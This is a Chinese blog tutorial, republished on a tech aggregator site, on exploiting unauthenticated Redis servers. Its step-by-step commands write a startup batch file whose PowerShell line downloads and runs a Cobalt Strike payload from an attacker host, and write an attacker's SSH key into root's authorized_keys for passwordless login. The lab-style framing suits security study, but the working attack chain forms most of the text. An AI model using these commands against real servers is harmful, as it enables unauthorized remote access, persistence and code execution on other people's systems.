IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> redis未授权访问--覆盖windows版本以及linux版本 -> 正文阅读

[大数据]redis未授权访问--覆盖windows版本以及linux版本

我又回来了,之前一段时间忙于升学,以及离职这些事,所以停更了,现在好了^ ^
一、漏洞简介
redis是一个开源的数据库。并且目前在很多方面都会使用到redis,但是redis因为配置不当,可以产生未授权访问漏洞,redis未授权访问漏洞利用方式很多,可以写入webshell,或者拿主机权限(上线cs)等等,以下我们降价windows版本以及linux版本redis常用的利用方式
二、利用方式
windows版:
上线cs拿主机权限
linux版本:
给root账户写入SSH公钥文件,直接通过SSH免密码登录到主机
三、漏洞利用
windows版本环境:
在这里插入图片描述

这次利用cs上线的原理呢,是在服务器中设置一个钓鱼命令,然后我们的本机,也就是客户端连接目标机器的redis服务中,使用命令在运行这条钓鱼命令从而达到上线目标机器权限的效果(环境搭建的话,在官网下载好windows版本的redis服务解压就可以直接使用了,没有多余的设置)
windows 7 :
命令:redis-server.exe
如图:
在这里插入图片描述
这样就成功开启了,然后,我们使用kali攻击机来开启cs
kali攻击机:
./teamserver 本机IP 密码
在这里插入图片描述
本机:
连接上cs之后,设置监听器
在这里插入图片描述
然后,连接上目标机器的redis服务
redis-cli.exe -h 192.168.67.132
在这里插入图片描述
我们需要将路径设置在目标机器的启动项文件夹内,然后,目标机器重启之后就可以拿到权限
启动项文件夹可以搜索到,我这里是windows7,启动项文件夹为
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
所以输入命令:
config set dir “C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
(注意,windows的斜杠需要双写)
config set dbfilename 3.bat
在这里插入图片描述
这个时候我们就可以钓鱼了,cs设置钓鱼命令
在这里插入图片描述
在这里插入图片描述
这样就行了,然后我们在返回redis命令行输入
set x “\r\n\r\npowershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.237.129:80/a’))”\r\n\r\n”

save
在这里插入图片描述
这时,我们已经将文件写入启动项文件夹,这是目标机器重启之后就可以获取到权限
在这里插入图片描述
将目标机器重启之后,目标成功上线
在这里插入图片描述
linux版本环境:
在这里插入图片描述
利用方式:写入攻击机的公钥文件,然后在攻击机对目标机器进行免密登录
环境搭建(给想要本地复现的小伙伴,不一定全部包括,也希望对小伙伴们有帮助):
wget http://download.redis.io/releases/redis-4.0.11.tar.gz

tar -zxf redis-4.0.11.tar.gz

cd ./redis-4.0.11.tar.gz

make ##编译

如下图
在这里插入图片描述
然后进入redis.conf
修改一下配置
将# bind 127.0.0.1 注释掉
以及将protected-mode yes 改为 no
在这里插入图片描述
在这里插入图片描述
进入src目录启动
cd ./src
./redis-server
在这里插入图片描述
我们使用攻击机连接
redis-cli -h 192.168.67.128
但是中途我们出现了问题,比如这样
在这里插入图片描述
我们回到目标机器进入客户端输入
Config set protect-mode no
在这里插入图片描述
在这里插入图片描述
然后,我们回到攻击机打开root/.ssh文件夹里面
输入
ssh-keygen -t rsa

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt
在这里插入图片描述

cat 1.txt | redis-cli -h 192.168.67.128 -x set crack

在这里插入图片描述
然后连接目标redis服务输入
config set dir “/root/.ssh”
config set dbfilename authorized_keys
save
在这里插入图片描述
然后退出来,直接在攻击机的/root/.ssh文件夹中输入
ssh -i id_rsa root@192.168.67.128
在这里插入图片描述
就可以连接上去了

四、结尾
我只是一个对网络安全喜欢的小白,有很多很多不足的地方,如果有做的不好的,希望各位师傅指点(可以加微信:phononer)^ ^

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-22 11:00:15  更:2021-10-22 11:03:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:54:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码